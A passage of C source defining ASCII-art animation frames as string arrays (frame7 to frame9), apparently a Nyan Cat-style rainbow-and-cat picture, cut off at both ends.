",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,.,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,", ">>,,,,,,,>>>>>>>>,,,,,,,'@@@@@@@@@@@@@@@',,,,,,,,,,,,,,,,,,,,,,,", ">>>>>>>>>>>>>>>>>>>>>>>'@@@$$$$$$$$$$$@@@',,,,,,,,,,,,,,,,,,,,,,", ">>>>>>>>>>>>>>>>>>>>>>>'@@$$$$$-$$-$$$$@@',,,,,,,,,,,,,,,,,,,,,,", "&&&&&&&&&&&&&&&&&&&&&&&'@$$-$$$$$$''$-$$@','',,,,,,,,,,,,,,,,,,,", "&&&&&&&&&&&&&&&&&&&&&&&'@$$$$$$$$'**'$$$@''**',,,,,,,,,,,,,,,,,,", "++&&&&&&&++++++++&'''&&'@$$$$$-$$'***$$$@'***',,,,,,,,,,,,,,,,,,", "++++++++++++++++++'*''+'@$$$$$$$$'***''''****',,,,,,,,,,,,,,,,,,", "++++++++++++++++++'**'''@$$$$$$$$'***********',,,,,,,,,,,,,,,,,,", "##+++++++########++'**''@$$$$$$-'*************',,,,,,,,,,,,,,,,,", "###################''**'@$-$$$$$'***.'****.'**',,,,,,,,,,,,,,,,,", "####################''''@$$$$$$$'***''**'*''**',,,,,,,,,,,,,,,,,", "==#######========#####''@@$$$-$$'*%%********%%',,,,,,,,,,,,,,,,,", "======================='@@@$$$$$$'***''''''**',,,,,,,,,,,,,,,,,,", ";;=======;;;;;;;;====='''@@@@@@@@@'*********',,,,,,,,,,,.,,,,,,,", ";;;;;;;;;;;;;;;;;;;;;'***''''''''''''''''''',,,,,,,,,,.,,,.,,,,,", ";;;;;;;;;;;;;;;;;;;;;'**'','*',,,,,'**,'**',,,,,,,,,,,,,,,,,,,,,", ",,;;;;;;;,,,,,,,,;;;;'''',,'',,,,,,,'',,'',,,,,,,,,,,.,,,,,.,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,.,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,.,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"}; char * frame7[] = { ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,.,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,..,..,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,", ">>,,,,,,,>>>>>>>>,,,,,,,'@@@@@@@@@@@@@@@',,,,,,,,,,,,,,,,,,,,,,,", ">>>>>>>>>>>>>>>>>>>>>>>'@@@$$$$$$$$$$$@@@',,,,,,,,,,,,,,,,,,,,,,", ">>>>>>>>>>>>>>>>>>>>>>>'@@$$$$$-$$-$$$$@@',,,,,,,,,,,,,,,,,,,,,,", "&&&&&&&&&&&&&&&&&&&&&&&'@$$-$$$$$$$''-$$@',,'',,,,,,,,,,,,,,,,,,", "&&&&&&&&&&&&&&&&&&&&&&&'@$$$$$$$$$'**'$$@','**',,,,,,,,,,,,,,,,,", "++&&&&&&&++++++++&&&&&&'@$$$$$-$$$'***$$@''***',,,,,,,,,,,,,,,,,", "+++++++++++++++++++'+++'@$$$$$$$$$'***''''****',,,,,,,,,,,,,,,,,", "++++++++++++++++++'*'++'@$$$$$$$$$'***********',,,,,,,,,,,,,,,,,", "##+++++++########+'*''''@$$$$$$-$'*************',,,,,,,,,,,,,,,,", "###################****'@$-$$$$$$'***.'****.'**',,,,,,,,,,,,,,,,", "###################''**'@$$$$$$$$'***''**'*''**',,,,,,,,,,,,,,,,", "==#######========####'''@@$$$-$$$'*%%********%%',,,,,,,,,,,,,,,,", "======================='@@@$$$$$$$'***''''''**',,,,,,,,,,,,,,,,,", ";;=======;;;;;;;;======''@@@@@@@@@@'*********',,,.,,,,,,,,,,,,,,", ";;;;;;;;;;;;;;;;;;;;;;'**'''''''''''''''''''',,,,,,,,,,,,,,,,,,,", ";;;;;;;;;;;;;;;;;;;;;;'**','*',,,,,,**','**',,,,,,,,,,,,,,,,,,,,", ",,;;;;;;;,,,,,,,,;;;;;''',,,'',,,,,,''',,''',,.,,,,.,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,..,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"}; char * frame8[] = { ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,.,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,.,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,..,...,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,>>>>>>>,,,,,,,,>>>>>>>''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,", ">>>>>>>>>>>>>>>>>>>>>>>>'@@@@@@@@@@@@@@@',,,,,,,,,,,,,,,,,,,,,,,", ">>>>>>>>>>>>>>>>>>>>>>>'@@@$$$$$$$$$$$@@@',,,,,,,,,,,,,,,,,,,,,,", "&&&&&&&&&&&&&&&&&&&&&&&'@@$$$$$-$$-$$$$@@',,,,,,,,,,,,,,,,,,,,,,", "&&&&&&&&&&&&&&&&&&&&&&&'@$$-$$$$$$$''-$$@',,'',,,,,,,,,,,,,,,,,,", "&&&+++++++&&&&&&&&+++++'@$$$$$$$$$'**'$$@','**',,,,,,,,,,,,,,,,,", "+++++++++++++++++++++++'@$$$$$-$$$'***$$@''***',,,,,,,,,,,,,,,,,", "+++++++++++++++++++++++'@$$$$$$$$$'***''''****',,,,,,,,,,,,,,,,,", "+++#######++++++++#####'@$$$$$$$$$'***********',,,,,,,,,,,,,,,,,", "######################''@$$$$$$-$'*************',,,,,,,,,,,,,,,,", "###################'''''@$-$$$$$$'***.'****.'**',,,,,,,,,,,,,,,,", "###=======########'****'@$$$$$$$$'***''**'*''**',,,,,,,,,,,,,,,,", "==================='''='@@$$$-$$$'*%%********%%',,,,,,,,,,,,,,,,", "===;;;;;;;========;;;;;'@@@$$$$$$$'***''''''**',,,,,,,,,,,,,,,,,", ";;;;;;;;;;;;;;;;;;;;;;;''@@@@@@@@@@'*********',,,,,,,,,,,,,,,,,,", ";;;;;;;;;;;;;;;;;;;;;;;'*'''''''''''''''''''',,,,,,,,,,,,,,,,,,,", ";;;,,,,,,,;;;;;;;;,,,,,'**',**',,,,,,**'.'**',,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,''',,''',,,,,,''',,''',,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,.,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,.,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,"}; char * frame9[] = { ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,.,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,.,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,.,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,>>>>>>>,,,,,,,,>>>>>>>''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,", ">>>>>>>>>>>>>>>>>>>>>>>>'@@@@@@@@@@@@@@@',,,,,,,,,,,,,,,,,,,,,,,", ">>>>>>>>>>>>>>>>>>>>>>>'@@@$$$$$$$$$$$@@@',,,,,,,,,,,,,,,,,,,,,,", "&&&&&&&&&&&&&&&&&&&&&&&'@@$$$$$-$$-$$$$@@',,,,,,,,,,,,,,,,,,,,,,", "&&&&&&&&&&&&&&&&&&&&&&&'@$$-$$$$$$$''-$$@',,'',,,,,,,,,,,,,,,,,,", "&&&+++++++&&&&&&&&+++++'@$$$$$$$$$'**'$$@','**',,,,,,,,,,,,,,,,,", "+++++++++++++++++++++++'@$$$$$-$$$'***$$@''***',,,,,,,,,,,,,,,,,", "+++++++++++++++++++++++'@$$$$$$$$$'***''''****',,,,,,,,,,,,,,,,,", "+++#######++++++++#####'@$$$$$$$$$'***********',,,,,,,,,,,,,,,,,", "#####################'''@$$$$$$-$'*************',,,,,,,,,,,,,,,,", "###################''**'@$-$$$$$$'***.'****.'**',,,,,,,,,,,,,,,,", "###=======########=****'@$$$$$$$$'***''**'*''**',,,,,,,,,,,,,,,,", "=================='*'=='@@$$$-$$$'*%%********%%',,,,,,,,,,,,,,,,", "===;;;;;;;========;';;;'@@@$$$$$$$'***''''''**',,,,,,,,,,,,,,,,,", ";;;;;;;;;;;;;;;;;;;;;;;''@@@@@@@@@@'*********',,,,,,,,,,,,,,,,,,", ";;;;;;;;;;;;;;;;;;;;;;'**'''''''''''''''''''',,,,,,,,,,,,,,,,,,,", ";;;,,,,,,,;;;;;;;;,,,,'**','*',,..,.**','**',,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,''',,,'',,,,.,''',,''',,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,.,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,.,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,.,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,.,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,.,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,", ",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,.,,,,,,,,,,,,,,"}; char * frame10[] = { 